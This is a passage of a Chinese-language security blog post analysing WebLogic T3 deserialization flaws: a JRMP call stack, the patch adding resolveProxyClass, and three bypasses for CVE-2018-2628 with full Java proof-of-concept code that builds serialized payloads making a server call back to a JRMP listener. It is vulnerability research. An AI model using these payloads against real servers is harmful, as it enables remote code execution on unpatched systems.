src="https://wechat2rss.xlab.app/img-proxy/?k=dfe751ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUyWT5kibvOUnsV7h0ujZSKoIOicZ3nfguTWJ2XvVMiaZAlPTWqo2CUcbLw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);">并最终触发DitryCall将从jrmp server获取的数据进行反序列化：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=28260246&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUDKhuCI5NI8aDvxzlJZlG1mcepbLBqNO4cPbvyW0iaqwj8pCiapoicNIZg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=aa9ac5eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUezicDbDxibGibL3qIWgBDicO1O3J9escMibSjbnnbVJv8SuAGjJhXZhfWNg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6342592592592593" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f43294c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUHZCwrD44a68NcicNrkmmj1aibmpMdcA8LQeLlWRUHvkBJ5jhrPiagc1aw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);">调用栈如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer"><span class="code-snippet__section">executeCall:245, StreamRemoteCall (sun.rmi.transport)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:379, UnicastRef (sun.rmi.server)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">dirty:-1, DGCImpl_Stub (sun.rmi.transport)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">registerRefs:156, DGCClient (sun.rmi.transport)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read:312, LiveRef (sun.rmi.transport)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readExternal:493, UnicastRef (sun.rmi.server)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:455, RemoteObject (java.rmi.server)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke0:-1, NativeMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:62, NativeMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:43, DelegatingMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:498, Method (java.lang.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invokeReadObject:1058, ObjectStreamClass (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readSerialData:2122, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readOrdinaryObject:2013, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject0:1535, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">defaultReadFields:2231, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readSerialData:2155, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readOrdinaryObject:2013, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject0:1535, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:422, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:66, InboundMsgAbbrev (weblogic.rjvm)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read:38, InboundMsgAbbrev (weblogic.rjvm)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">init:213, MsgAbbrevInputStream (weblogic.rjvm)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readReadySocketOnce:967, SocketMuxer (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readReadySocket:899, SocketMuxer (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">processSockets:130, PosixSocketMuxer (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:29, SocketReaderRequest (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">execute:42, SocketReaderRequest (weblogic.socket)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">execute:145, ExecuteThread (weblogic.kernel)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:117, ExecuteThread (weblogic.kernel)</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.21481481481481482" style="width: 1924px;height: 414px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=50ebfabf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUphu99rMiahpnvicW3gVoNcHD4OFWJt7IadUeIhSS1V97hVEVicrQiaF5fQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.13518518518518519" style="width: 1934px;height: 262px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=de8b08f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUrZXMv0IRFYXh5kRLmveQrQka4IOtWa45t89Hr8JGnzfOdSialUVlkoA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);">修复</span></p><p><span style="color: rgb(0, 0, 0);">补丁在weblogic.rjvm.InboundMsgAbbrev中新增了一个resolveProxyClass方法用于检测传入RMI接口类是否为java.rmi.registry.Registry，若是则会抛出异常：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a820302f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIU75lwxzws0PDrVqVYGrWno1Ffxp1062u9TdLwuk9SlAiayjBRvsndbdg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);">流量特征如下：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.9287037037037037" style="width: 1708px;height: 1586px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2d9a2864&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIU91VyOia6SEIkgMlPhOKMueW9HgmZBSCbetcRLIpcfQ9kyDTDseQdibdQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.9287037037037037" style="width: 1708px;height: 1586px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=86b077b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUa1Uk4EQ46k92iag4VJFvgibddKoGD78Rlibvu228vvaNAvzynx8eicic8og%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.8046296296296296" style="width: 1708px;height: 1374px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ebae1ec7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUXPHgwbPciaXzhy74hoOAVzxbbwtGiczmV0o5HMfSibfpiapztMnPeBWn8w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 20px;color: rgb(0, 0, 0);"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;color: rgb(0, 0, 0);">CVE-2018-2628</span></p><p><span style="color: rgb(0, 0, 0);">该CVE本应是上文中补丁的绕过，但显然上文中补丁并不是很有效(更正：从上个补丁开始就不能打CC了)</span></p><p><span style="color: rgb(0, 0, 0);">POC1:</span></p><p><span style="color: rgb(0, 0, 0);">通过上文poc代码中的提到的，其实整个反序列化过程中不需要通过java.lang.reflect.Proxy与java.rmi.server.RemoteObjectInvocationHandler代理封装，直接使用UnicastRef类进行反序列化，在反序列化过程中不会调用到resovleProxyClass。</span></p><p><span style="color: rgb(0, 0, 0);">POC2:</span></p><p><span style="color: rgb(0, 0, 0);">通过修改接口类，比如网上公开的poc用<span style="background-color: rgb(255, 255, 255);font-family: Arial;">java.rmi.activation.Activator替换java.rmi.registry.Registry，但其实这里对类接口没什么要求，</span></span></p><p><span style="background-color: rgb(255, 255, 255);font-family: Arial;color: rgb(0, 0, 0);">换成Map都行：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.41944444444444445" style="width: 616px;height: 263px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fec9bea6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUWUtcbhACtrB2ON3qXyyyu2XR4bQI5ee6PicD5kBiaRiblKQK6sLXPT4ZA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);">POC3:</span></p><p><span style="color: rgb(0, 0, 0);">通过<span style="background-color: rgb(255, 255, 255);font-family: Arial;">StreamMessageImpl绕过resolveProxyClass检查，StreamMessageImpl的反序列化流程在</span><span style="font-weight: bold;">CVE-2016-0638</span>中已分析过，就不再赘述。</span></p><p><span style="color: rgb(0, 0, 0);">POC代码：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.server.UnicastRef;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.transport.LiveRef;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.transport.tcp.TCPEndpoint;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.jms.common.StreamMessageImpl;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.management.remote.rmi.RMIAuthenticator;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Proxy;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.activation.Activator;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.registry.Registry;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.server.ObjID;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.server.RemoteObjectInvocationHandler;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Base64;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Hashtable;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Map;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Random;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CVE_2018_2628</span> </span>{</span></code><code><span class="code-snippet_outer">    public <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">Object</span> getPoc1() {</span></code><code><span class="code-snippet_outer">        ObjID id = <span class="code-snippet__keyword">new</span> ObjID(<span class="code-snippet__keyword">new</span> Random().nextInt());</span></code><code><span class="code-snippet_outer">        TCPEndpoint tcpEndpoint = <span class="code-snippet__keyword">new</span> TCPEndpoint(<span class="code-snippet__string">&#34;127.0.0.1&#34;</span>, <span class="code-snippet__number">6666</span>);</span></code><code><span class="code-snippet_outer">        UnicastRef unicastRef = <span class="code-snippet__keyword">new</span> UnicastRef(<span class="code-snippet__keyword">new</span> LiveRef(id, tcpEndpoint, <span class="code-snippet__literal">false</span>));</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> unicastRef;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    public <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">Object</span> getPoc2() {</span></code><code><span class="code-snippet_outer">        ObjID id = <span class="code-snippet__keyword">new</span> ObjID(<span class="code-snippet__keyword">new</span> Random().nextInt());</span></code><code><span class="code-snippet_outer">        TCPEndpoint tcpEndpoint = <span class="code-snippet__keyword">new</span> TCPEndpoint(<span class="code-snippet__string">&#34;127.0.0.1&#34;</span>, <span class="code-snippet__number">6666</span>);</span></code><code><span class="code-snippet_outer">        UnicastRef unicastRef = <span class="code-snippet__keyword">new</span> UnicastRef(<span class="code-snippet__keyword">new</span> LiveRef(id, tcpEndpoint, <span class="code-snippet__literal">false</span>));</span></code><code><span class="code-snippet_outer">        RemoteObjectInvocationHandler handler = <span class="code-snippet__keyword">new</span> RemoteObjectInvocationHandler(unicastRef);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//Any Interface</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Map</span> map = (<span class="code-snippet__built_in">Map</span>) <span class="code-snippet__built_in">Proxy</span>.newProxyInstance(CVE_2018_2628.class.getClassLoader(), <span class="code-snippet__keyword">new</span> Class[]{<span class="code-snippet__built_in">Map</span>.class}, handler);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> map;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    public <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">Object</span> getPoc3() {</span></code><code><span class="code-snippet_outer">        ObjID id = <span class="code-snippet__keyword">new</span> ObjID(<span class="code-snippet__keyword">new</span> Random().nextInt());</span></code><code><span class="code-snippet_outer">        TCPEndpoint tcpEndpoint = <span class="code-snippet__keyword">new</span> TCPEndpoint(<span class="code-snippet__string">&#34;127.0.0.1&#34;</span>, <span class="code-snippet__number">6666</span>);</span></code><code><span class="code-snippet_outer">        UnicastRef unicastRef = <span class="code-snippet__keyword">new</span> UnicastRef(<span class="code-snippet__keyword">new</span> LiveRef(id, tcpEndpoint, <span class="code-snippet__literal">false</span>));</span></code><code><span class="code-snippet_outer">        RemoteObjectInvocationHandler handler = <span class="code-snippet__keyword">new</span> RemoteObjectInvocationHandler(unicastRef);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Map</span> map = (<span class="code-snippet__built_in">Map</span>) <span class="code-snippet__built_in">Proxy</span>.newProxyInstance(CVE_2018_2628.class.getClassLoader(), <span class="code-snippet__keyword">new</span> Class[]{<span class="code-snippet__built_in">Map</span>.class}, handler);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> StreamMessageImpl(map);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    public <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws IOException, ClassNotFoundException {</span></code><code><span class="code-snippet_outer">        ByteArrayOutputStream fout = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">        ObjectOutputStream objectOutputStream = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fout);</span></code><code><span class="code-snippet_outer">        objectOutputStream.writeObject(getPoc3());</span></code><code><span class="code-snippet_outer">        objectOutputStream.close();</span></code><code><span class="code-snippet_outer">        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fout.toByteArray());</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        inputStream.readObject();</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="color: rgb(0, 0, 0);">StreamMessageImpl类参照前文：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> weblogic.jms.common;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.InvocationTargetException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.jms.Destination;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.jms.JMSException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.jms.MessageEOFException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.jms.MessageNotWriteableException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.jms.StreamMessage;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.jms.JMSClientExceptionLogger;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.weblogcVul.CVE_2016_0638;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">StreamMessageImpl</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">MessageImpl</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">StreamMessage</span>, <span class="code-snippet__title">Externalizable</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> EXTVERSION1 = <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> EXTVERSION2 = <span class="code-snippet__number">2</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> EXTVERSION3 = <span class="code-snippet__number">3</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> VERSIONMASK = <span class="code-snippet__number">127</span>;</span></code><code><span 